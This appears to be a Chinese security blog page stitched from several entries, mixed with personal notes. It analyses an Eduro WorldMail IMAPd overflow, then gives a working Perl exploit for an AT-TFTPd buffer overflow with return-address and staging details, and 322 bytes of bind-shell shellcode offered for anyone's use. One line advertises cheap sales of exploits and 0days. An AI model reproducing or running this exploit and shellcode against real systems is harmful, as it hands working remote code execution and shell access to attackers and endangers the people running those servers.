[原创]Eduro WorldMail3.0 6.1.19.0 IMAPd Pre-Auth远程溢出分析

版权所有，谢绝转载！

*/

—————云舒回贴—————

Codz:

覆盖了SEH来做的，XP SP2中文系统测试。

\被论坛过滤了，需要的自己补上。

具体exp就不写了，分析到此为止，这个mail好象也不是很常见,而且国外多点。

不管是smtp还是 pop3

pre-auth的传递参数比如USER xxxxxxx     PASS  xxxxxxxxxxxx
这种

基本上都是限定只能输入240字节

因为有一个 strncat(buf, string, 240);

loc_4523FB:
mov     eax, [esi]
or      ecx, 0FFFFFFFFh
lea     edx, [ebx+eax+33h]
xor     eax, eax
mov     edi, edx
repne scasb
not     ecx
dec     ecx
mov     eax, 0F0h
sub     eax, ecx
lea     ecx, [ebp+String]
push    eax             ; size_t
push    ecx             ; char *
push    edx             ; char *
call    _strncat
add     esp, 0Ch

注意这里
mov  eax, F0h

接下来

loc_452425:
mov     edx, [esi]
or      ecx, 0FFFFFFFFh
xor     eax, eax
lea     edx, [edx+ebx+33h]
mov     edi, edx
repne scasb
mov     edi, [esi]
not     ecx
dec     ecx
add     ecx, edi
cmp     byte ptr [ecx+ebx+32h], 0Ah
jz      short loc_452459

然后就判断回车\x0A

如果有回车，就继续执行，如果没有回车，就返回上层函数。

继续执行后

在这里执行了一个拷贝

lea     edi, [ebp+var_270]
add     esp, 0Ch
rep stosd
mov     ecx, [ebp+var_18]
lea     edx, [ebp+var_270]
push    ecx
push    offset aS_3     ; "%s"
push    edx             ; char *
stosb
call    _sprintf

不过由于前面被截断了，只能拷贝240 bytes过来，所以是覆盖不到ebp的

我只看了3.7.3.1和3.6.3.1 这两个版本，基本相同.

其他登陆后的命令就没看了，不怎么感兴趣了，如果也用的这里的函数来截断，那也是没有问题的。

所以，至少在处理输入这个地方是没有问题的了。

不能确定在之后的地方有没有问题，没继续跟下去了。

最后结论是，期待winwebmail 0day的兄弟们估计要失望了，至少pre-auth的漏洞，是比较难了，呵呵。

专门低价贱卖各类exp，0day漏洞等

等到哪天不再为生活发愁了，去气死那些个大老爷们！

突然又有点迷茫了。

搞技术做为谋生的手段似乎还不太够，but i like it

所以，还是不想去乙方

所以，还是 just hacking  for  fun!

晚上和gf去看了场戏剧，很精彩，让我这种土人也受了下艺术的熏陶。

另外突然想到，自己实在是笨，那个at-tftpd的，直接在jmp  esp后面，调用 call  dword ptr ds:[edi + 09h]就可以了，我还跳来跳去的，太笨了，呵呵

这个tftpd听都没听过，今天看见有人在问，就看了下。

发现223bytes + 4bytes覆盖eip

但是shellcode在  [esp+28h]处，也没有什么通用的方法，只好从系统dll里找ret

本来发现edi跟shellcode有点关系，后来找了下，发现还是有点麻烦，放弃了

用jmp esp的方法不能够覆盖太多，经过测试，eip后大概还可以覆盖8还是9个bytes，然后就会出错了。

想了想，改用jmp esp的方法，不过这次利用了那个短小的几个bytes，直接  call  dword ptr ds:[esp+28h]

这样就跑到shellcode去执行了

但是buffer只有200多一点bytes可以写，太小了，就算分段发送shellcode都太小。

怎么办？

后来发现继续发送一段shellcode会在内存里跟在payload后面，大概可以跟260多bytes，甚至更多。（超过300就出错）。执行完shellcode，再跳过一段数据就可以跳到那里去执行了。

那么这样shellcode的空间就大了

关键代码如下

#!/usr/bin/perl -w
#acaro[at]jervus.it
#http://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability

#by axis
#   pad + jmpsc + pad + eip + calljmpsc
#   jmpsc –> stage1 —> stage2

$pad1 = "\x90"x4;

# 需要小于 219bytes的shellcode

# mov  esp, edi ; add esp,09h ; jmp esp    7bytes
$jmprealsc = "\x8b\xe7\x83\xc4\x09\xff\xe4";

$pad2 = "\x90"x212;

#stage1   real sc  小于260bytes，大约
$sc =
"\x90"x260;

$eip = "\x12\x45\xfa\x7f\x3e\xff\x54\x24\x28";        # jmp  esp ;  call  dword ptr ds:[esp +28h]

$mode = "netascii";

$exploit = "\x00\x02" . $pad1 . $jmprealsc . $pad2 . $eip . "\0"  . $mode . "\0" . $sc . "\xcc" ."\0" ;

print $victim $exploit;

这里覆盖eip后，先jmp esp，然后跳到 [esp+28h]

他指向我们发送的$exploit串，整个。

然后在最开始其开始，跳到后面的$sc 区去执行我们真正的shellcode。

因为只需要用到一个系统dll里的地址，而且还是 jmp esp的地址，所以这种方法比POC通用多了，也真正可以拿到shell。

不多写了，这个东西没听说过，送给那位老兄练手，纯当娱乐，：）

今天是感恩节，收到了来自她的感言，虽然只有平淡的一句话，但我却能感受到真心。

我是个粗心的家伙，所以今天都浑浑噩噩的，没有和她一起好好庆祝这个节日。

其实心里有好多话想对她说，却不知该从何开始。

但从那天那一刻起，我的眼里只有她，再容不下其他人了！

thanks to swan

也不是什么好东西，发一个方便大家用，比较小一点，只有322bytes，LSD那个方法编译出来有500多bytes，呵呵

port 是倒数第四个字节起的2个字节.  这里默认是21端口，\x15\x00

/* 322 bytes */
"\xe9\x10\x01\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x03\x59\xe8\xb0\x00\x00\x00"
"\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff\x16\x8b"
"\xe8\x6a\x06\x59\xe8\x97\x00\x00\x00\xe2\xf9\x33\xdb\x43\xff\x56"
"\x20\x83\xfb\x64\x75\xf7\x83\xc7\x04\x81\xec\x90\x01\x00\x00\x54"
"\x68\x01\x01\x00\x00\xff\x56\x0c\x50\x50\x50\x50\x6a\x01\x6a\x02"
"\xff\x56\x10\x8b\xd8\x33\xc0\x50\x50\x66\x8b\x56\x24\x86\xd6\xc1"
"\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10\x52\x53\xff\x56\x14"
"\x6a\x01\x53\xff\x56\x18\x50\x50\x53\xff\x56\x1c\x8b\xd8\x68\x63"
"\x6d\x64\x00\x8d\x14\x24\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0"
"\x89\x04\x8f\xe2\xfb\xc6\x47\x10\x44\xfe\x47\x3c\xfe\x47\x3d\x89"
"\x5f\x48\x89\x5f\x4c\x89\x5f\x50\x8d\x47\x10\x57\x50\x51\x51\x51"
"\x6a\x01\x51\x51\x52\x51\xff\x56\x04\x33\xc0\x48\x50\xff\x56\x08"
"\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03"
"\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x3a\xd6\x74"
"\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e"
"\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03"
"\xc5\xab\x5e\x59\xc3\xe8\xeb\xfe\xff\xff\x32\x74\x91\x0c\xc9\xbc"
"\xa6\x6b\x8f\xf2\x18\x61\x3d\x6a\xb4\x80\x2d\x32\x78\xde\x64\x10"
"\xa7\xdd\x0c\x9f\xd3\x4b\xb1\x1e\x97\x01\x7c\xe2\x9b\x7c\x15\x00"
"\xbf\xe5";

另外to my honey gf，看，我这不是发东西了哈~~~~，西西

其实我的本本也不差了，1G内存。

可是现在基本上开机后，启动完就去了500M内存左右：

各类IM开了3、4个，有时候更多，尤其是QQ，超级耗资源。

然后outlook2003也要一直挂着，及时收邮件，这个玩意收信的时候简直就别想干别的事了。

播放器一个，一边听歌一边工作。

网页若干，我一般是喜欢开十几个网页放着，用X浏览器，不知道是firefox的原因还是X浏览器的原因，尤其耗资源。

卡巴一个，经常被他搞的进入假死状态。

google desktop一个：居家旅行必备工具。

然后就是工作需要，cmd窗口若干，secureCRT或putty窗口若干，win终端连接若干

有时候还有vmware虚拟机开一个，C++编译器一个，要是还开OD或IDA PRO就更惨了

本来我是RSS的狂热爱好着，为了以上那些“必需品”，放弃掉RSS了，还好同事向我推荐了一个好网站
www.zhuaxia.com ,在他网站上聚合RSS，不用再down回本地了，真正体验到了web2。0带来的好处，不然真吃不消。

现在游戏的配置也越来越BT了，光大不说，最近的魔法门10，全面战争：中世纪2，无冬2，等等，都TMD的超过4。5G了，一张DVD5还刻不下,中世纪2安装完后据说有10G，真是无语。。。。。

对机器配置也高的出奇。

没优化好的哥特3不说，魔法门10我7600GT的显卡，intel双核，都只能开中等配置玩。

要玩游戏，1G内存已经落伍了，必须赶快升级到2G才行。。。。。。

真是疯狂的时代！

metasploit的stage shellcode看不明白是怎么搞的，呵呵，一个套一个的，没仔细跟了。

今天继续修改了stage shellcode，现在stage2支持端口复用，文件上传下载，传输过程加密了，呵呵。

死了好多脑细胞。。。。。。

明天继续  ：）

另外注意到 ida pro 5里面反汇编的程序，在恢复栈平衡时，都是调用函数前先

mov    esi,  esp

调用完后，

cmp   esi,esp

jz    __chkesp

然后如果不对，就跳转到  __chkesp ,去恢复栈平衡。

一点小tips。